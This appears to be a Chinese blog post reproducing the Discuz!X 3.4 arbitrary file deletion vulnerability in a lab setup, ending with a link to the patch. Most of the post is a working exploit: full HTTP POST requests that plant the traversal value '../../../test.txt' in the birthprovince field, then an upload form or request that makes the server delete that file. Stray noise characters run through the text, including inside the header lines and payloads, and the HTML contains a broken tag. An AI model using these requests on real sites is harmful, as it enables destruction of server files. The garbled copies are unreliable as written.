Discuz!X 3.4 任意文件删除漏洞复现

fudyou

/ x( s1 ~  g( f前言：9月29日，Discuz修复了一个前台任意文件删除的漏洞，相似的漏洞曾在2014年被提交给wooyun和discuz官方，但是修复不完全导致了这次的漏洞。网上很多说官方3.4版本已修复，但我用环境的是vulhub上3.4版本。所以不知道3.4修复没修复直接复现一下。
8 D% ?9 ~/ I6 \% V影响版本：Discuz < =3.4 环境

7 B3 w& |" @1 s9 |- H! T5 U" n复现过程：首先在discuz目录下新建一个test.txt文件，到时候删除用。
新建test.txt
访问：http://192.168.220.131/home.php?mod=spacecp，然查审查元素，查看formhash的值，然后复制。


查看formhash
8 g  `) C& }0 X4 x+ W) S. S: j- N利用burp抓包，获取cookie





( A2 y) }2 w. A  {) L3 t5 M抓取cookie

发送下面数据包：修改cookie，formhash,还有删除的文件
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: localhost
+ {# i  g, m- Q4 H: V; M; zContent-Length: 367
  w0 Z9 g% t) D& X+ kCache-Control: max-age=0
/ ~2 n: n9 A4 |Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
2 o! }) J- |4 W& M4 V$ w- }" SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
, R1 A, E6 T/ H, P2 wAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
" N; D5 e% Y) TCookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C1577938056
8 L( X3 S3 T/ o4 N: _Connection: close
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"
/ h2 h" b4 V2 j9 u( r* [5 n84a7f376
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"
6 B% T9 B2 a* E- v../../../test.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"
+ Z/ ]7 ?) v+ x6 {: K7 M7 n* a1
------WebKitFormBoundaryPFvXyxL45f34L12s--
发送删除的数据包
* u; E* W5 M6 |' y% Z/ B刷新页面，查看出生地就会显示成下图所示的状态：
数据成功写入


$ ^2 t9 z6 e) b# M3 Y* \说明数据已经进入数据库：
然后，新建一个upload.html，代码如下，将其中的ip改成discuz的域名，[form-hash]改成你的formhash：
2 ^- U. Y0 ^  \<form action="http://192.168.220.131/home.php?mod=spacecp&ac=profile&op=base&deletefile[birthprovince]=aaaaaa"method="POST" enctype="multipart/form-data">
" Z+ V+ p* m/ O/ [<input type="file"name="birthprovince" id="file" />
<input type="text"name="formhash" value="84a7f376"/></p>
<input type="text"name="profilesubmit" value="1"/></p>
<input type="submit"value="Submit" />
( |: G, {* W1 D/ b</from>



( H' v. T2 V& l' J8 T

或者直接构建数据包：
  d6 O1 ?5 Z) G, g* L8 T% @+ D- nPOST /home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=84a7f376 HTTP/1.1
# g8 j, y) C* Y0 ?4 N4 UHost: 192.168.220.131
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
: j; j! \' v; W+ S) n2 n; \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
: e; P3 g+ B# H7 LContent-Type: multipart/form-data; boundary=---------------------------123821742118716
Content-Length: 91989
Connection: close
( M2 P% ]2 ~( K: mCookie: CmcL_2132_saltkey=b9yKqToA; CmcL_2132_lastvisit=1577934646; CmcL_2132_sid=I21Fam; CmcL_2132_lastact=1577951222%09misc.php%09patch; CmcL_2132__refer=%252Fhome.php%253Fmod%253Dspacecp; CmcL_2132_seccode=1.1f5dbc9f8f51267031; CmcL_2132_ulastactivity=f7c74D32skNeZM0YcFOOaQUi7XmBcai6jjji8MGC7px2%2BTiSN9qM; CmcL_2132_auth=8bf5qD72m1LL4vx%2BXQAGHjNEfio4ELQqrhkkrwz%2FdcuiSxXlRhnYfpwxloZj5lqVp6zUrThf%2FVYOcWS9xQwm; CmcL_2132_lastcheckfeed=2%7C1577938266; CmcL_2132_lip=192.168.220.1%2C1577938056
& {+ @. `: Q' i- Z6 k! yUpgrade-Insecure-Requests: 1
-----------------------------123821742118716
Content-Disposition: form-data; name="birthprovince"; filename="0.jpg"
Content-Type: image/jpeg
zerba（这里写啥都可以）
-----------------------------123821742118716--



9 B$ i+ ^# ]6 r' E0 n
* U& s5 d. h* [% R

  A" ]- m: G' G. D+ P9 b6 Q0 I



  ^9 \# w0 L# o
+ j" k/ S4 u' C* X1 Y) [进去discuz看看，可以看到，test.txt文件已经被删除了。



0 X, _# n: M# h. ?% _4 r7 e
, z2 K3 j- W% }7 E( i
8 g! e* G9 x  r8 O修复建议：https://gitee.com/ComsenzDiscuz/DiscuzX/commit/7d603a197c2717ef1d7e9ba654cf72aa42d3e574
编辑upload/source/include/spacecp/spacecp_profile.php文件，删除和unlink相关代码。
% B, ^+ V0 H  s; w  j" ^

; T* X9 P' u) J; N: n

  ^# M& [( D2 V! h) E* U


1 @& `& p( b6 A; n- R

0 t/ N/ ?" Q' X0 c- n0 x/ Z